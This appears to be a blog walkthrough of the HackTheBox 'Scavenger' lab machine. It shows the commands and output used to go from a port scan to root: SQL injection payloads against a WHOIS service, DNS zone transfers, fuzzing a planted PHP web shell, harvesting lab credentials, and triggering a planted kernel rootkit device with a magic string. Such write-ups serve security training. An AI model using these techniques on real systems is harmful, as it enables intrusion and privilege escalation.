As with any box, I start with a port scan. On this box, as its name is Scavenger, a lot of additional information (rabbit holes) are presented throughout the attempt to root the box. I decided not to include all the things that I found, just those that were required to root the box.
root@kalivm:~/Scavenger# nmap -sTV -p 1-65535 10.10.10.155 -oN fullscan_tcp Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-27 08:38 CEST Nmap scan report for scavenger.htb (10.10.10.155) Host is up (0.017s latency). Not shown: 65528 filtered ports PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0) | ssh-hostkey: | 2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA) | 256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA) |_ 256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519) 25/tcp open smtp Exim smtpd 4.89 | smtp-commands: ib01.supersechosting.htb Hello scavenger.htb [10.10.13.185], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP, |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 43/tcp open whois? | fingerprint-strings: | GenericLines, GetRequest, Help, RTSPRequest: | % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb | This query returned 0 object | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb |_ 1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like' 53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Debian 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). ----snip---- Service Info: Host: ib01.supersechosting.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 264.85 seconds
First thing I decided to check was the web server. Usually that is not the best thing to do as websites can be huge so they will take up a lot of time.
When trying to access it on the IP address, I was immediately presented with an error stating that the virtual host was not available.
On the scavenger.htb page, I never got anything at all so I decided to add the supersechosting.htb and got a web page on which I also could not do much. It did however mention the availability of the WHOIS server and DNS server that I had already seen in the port scans. So I had to do some additional analysis. Since the WHOIS server appeared to be a MariaDB SQL server, I started to test it for SQL Injection vulnerabilities.
root@kalivm:~/Scavenger# while read line; do whois -h supersechosting.htb -p 43 --verbose "$line" | grep "Domain Name"; done < sqli_auth_bypass Domain Name: SUPERSECHOSTING.HTB Domain Name: SUPERSECHOSTING.HTB -- Domain Name: JUSTANOTHERBLOG.HTB -- Domain Name: PWNHATS.HTB -- Domain Name: RENTAHACKER.HTB Domain Name: SUPERSECHOSTING.HTB Domain Name: SUPERSECHOSTING.HTB Domain Name: SUPERSECHOSTING.HTB -- Domain Name: JUSTANOTHERBLOG.HTB -- Domain Name: PWNHATS.HTB -- Domain Name: RENTAHACKER.HTB
Using the Authentication bypass list from PayloadAllTheThings and combining that with a simple while loop, I was able to enumerate 4 unique domain names.
These can be used against the DNS server found on port 53 to see if there are any identifiable (sub)domain names.
root@kalivm:~/Scavenger# for i in 'SUPERSECHOSTING.HTB' 'JUSTANOTHERBLOG.HTB' 'PWNHATS.HTB' 'RENTAHACKER.HTB'; do dig AXFR $i @10.10.10.155; done ----snip---- ftp.supersechosting.htb. 604800 IN A 10.10.10.155 mail1.supersechosting.htb. 604800 IN A 10.10.10.155 ns1.supersechosting.htb. 604800 IN A 10.10.10.155 whois.supersechosting.htb. 604800 IN A 10.10.10.155 www.supersechosting.htb. 604800 IN A 10.10.10.155 ----snip---- mail1.justanotherblog.htb. 604800 IN A 10.10.10.155 www.justanotherblog.htb. 604800 IN A 10.10.10.155 ----snip---- mail1.pwnhats.htb. 604800 IN A 10.10.10.155 www.pwnhats.htb. 604800 IN A 10.10.10.155 ----snip---- mail1.rentahacker.htb. 604800 IN A 10.10.10.155 sec03.rentahacker.htb. 604800 IN A 10.10.10.155 www.rentahacker.htb. 604800 IN A 10.10.10.155
So First thing I did was add all these virtual hosts to my /etc/hosts file.
After a lot of time analyzing each of the virtual hosts, I came up to the sec03.rentahacker.htb page.
As with all other domains, I ran gobuster against this domain with a search for the php extension and found a potentially interesting shell.php file. Since, during my analysis the box got reset, it was not very likely that this shell.php file was a remnant of one of the other people on HacktheBox, so it could be useful. First I had to find out how to use it as, if it were my shell, it would use the cmd= parameter, but that first try did not work.
root@kalivm:~/Scavenger# wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 --hc 404,400 http://sec03.rentahacker.htb/shell.php?FUZZ=ls ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://sec03.rentahacker.htb/shell.php?FUZZ=ls Total requests: 4614 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000001893: 200 234 L 234 W 4978 Ch "hidden" Total time: 14.69807 Processed Requests: 4614 Filtered Requests: 4613 Requests/sec.: 313.9186
With wfuzz, I could get the right variable ‘hidden’ and then, using the shell I got here to connect to it, send commands as if it is a terminal!
root@kalivm:~/Scavenger# cmdshell -t http://sec03.rentahacker.htb/shell.php?hidden= shell> id uid=1003(ib01c03) gid=1004(customers) groups=1004(customers) shell> pwd /home/ib01c03/sec03 shell> cat config/config_inc.php < ?php $g_hostname = 'localhost'; $g_db_type = 'mysqli'; $g_database_name = 'ib01c03'; $g_db_username = 'ib01c03'; $g_db_password = 'Thi$sh1tIsN0tGut'; $g_default_timezone = 'Europe/Berlin'; $g_crypto_master_salt = 'DCD4OIydnPefp27q8Bu5TJHE2RfyO4Zit13B6zLfJdQ=';
After some searching on the target, the first thing I found was the credentials for user ib01c03. After a failed login on SSH, I decided to try them on the FTP server and got access.
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 1003 1004 16689687 Oct 17 2018 bugtracker.2.18.tgz drwxr-xr-x 15 1003 1004 12288 Sep 27 09:56 sec03 -rw-r--r-- 1 1003 1004 10503584 Dec 06 2018 wordpress.tgz drwxr-xr-x 5 1003 1004 4096 Dec 10 2018 www 226 Directory send OK.
Browsing this FTP directory showed little valuable stuff (the same to which I already had access through the web shell). After spending some time, I decided to continue on the web shell and see what other things I could find. One of those things was check if there were any messages available for user ib01c03.
shell> messages Number of messages in /var/mail/ib01c03: 1 shell> cat /var/mail/ib01c03 ----snip---- Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs. Please check if there is any strange file in your web root and upload it to the ftp server: ftp.supersechosting.htb user: ib01ftp pass: YhgRt56_Ta Thanks.
So there was one message containing other FTP credentials.
ftp> cd incidents/ib01c01 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -r--rw-r-- 1 1005 1000 10427 Dec 10 2018 ib01c01.access.log -rw-r--r-- 1 1000 1000 835084 Dec 10 2018 ib01c01_incident.pcap -r--rw-r-- 1 1005 1000 173 Dec 11 2018 notes.txt
After loging in to the FTP Server, I found some interesting files in an incidents folder, apparently some evidence of a security incident. AFter getting all the files, I started analyzing them one by one.
root@kalivm:~/Scavenger# cat notes.txt After checking the logs and the network capture, all points to that the attacker knows valid credentials and abused a recently discovered vuln to gain access to the server!
Analysis of the network packets shows some interesting things.
One of these things is a number of POST request to the pwnhats.htb website which may contain http-form information.
Analyzing the network capture file, shows password
GetYouAH4t!. Since the incident was related to the ib01c01 account, I tried this account on the FTP server and it appeared to work.
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw------- 1 1001 1004 32 Jan 30 2019 access.txt -rw-r--r-- 1 1001 1004 68175351 Dec 07 2018 prestashop_18.104.22.168.zip -rw-r----- 1 0 1004 33 Dec 07 2018 user.txt drwxr-xr-x 26 1001 1004 4096 Dec 10 2018 www 226 Directory send OK. ftp> get user.txt local: user.txt remote: user.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for user.txt (33 bytes). 226 Transfer complete. 33 bytes received in 0.00 secs (20.6052 kB/s) ftp> 221 Goodbye.
Last step of course, is to get the user.flag content
root@kalivm:~/Scavenger# cat user.txt 6f8a8a83<NOFLAG>ddf1da903dcc804d
Now one other thing that was remarkable while browsing through the wireshark file, was the presence of a root.c kernel exploit file that was seemingly transfered to the Scavenger box as part of the recorded incident.
Since this could be promising, I investigated the root.c file and after some research, I found this article about the root.c file.
In the wireshark file, I already could see the used devices confirmed.
#define DEVICE_NAME "ttyR0" #define CLASS_NAME "ttyR"
Time to check if the device is present and, if as required by the documented exploit, the permissions are set correct
shell> stat -c '%a' /dev/ttyR0 666
So the device is present, the permissions are set. I could just try to see if the exploit works
shell> echo "g0tR0ot" > /dev/ttyR0; whoami ib01c03
Unfortunately, it does not seem to work with the common g0tr0ot flag. Perhaps the binary was altered so I have to see if I can find the root.ko file. I have been spending quite some time on the box without much success. Until someone gave me a nudge on Discord that I should be vigilant about hidden directories on the FTP Server.
ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwx------ 4 1001 1004 4096 Feb 01 2019 . drwxr-xr-x 8 0 0 4096 Dec 07 2018 .. drwxr-xr-x 2 1001 1004 4096 Feb 02 2019 ... -rw------- 1 0 0 0 Dec 11 2018 .bash_history -rw------- 1 1001 1004 32 Jan 30 2019 access.txt -rw-r--r-- 1 1001 1004 68175351 Dec 07 2018 prestashop_22.214.171.124.zip -rw-r----- 1 0 1004 33 Dec 07 2018 user.txt drwxr-xr-x 26 1001 1004 4096 Dec 10 2018 www 226 Directory send OK.
After checking this with various users, I finally tried it as the ib01c01 user who also had access to the user flag.
ftp> cd ... 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 399400 Feb 02 2019 root.ko 226 Directory send OK.
There I found the triple dotted directory which I had overlooked several times. After downloading the file, all that was left is analyze it for the correct flag for submitting.
root@kalivm:~/Scavenger# head -n1 root.ko ELF>�@@&%GNUœ��-��ME�<_ ����|�1����H�����ATUH�zSI����@H��H�� eH�%(H�D$1�H�g0tR0ot�D$g3t�D$ Pr1vH�D$�D$�H��u,H���H��H�L$eH3</_>
So it appears that ‘g3tPr1v’ is the magic key for using the exploit, time to try that in the webshell and finally get the root flag after all this scavenging!
shell> echo "g3tPr1v" > /dev/ttyR0; whoami root shell> echo "g3tPr1v" > /dev/ttyR0; cat /root/root.txt 4a08d8174e<NOFLAG>d91ddb9a732b17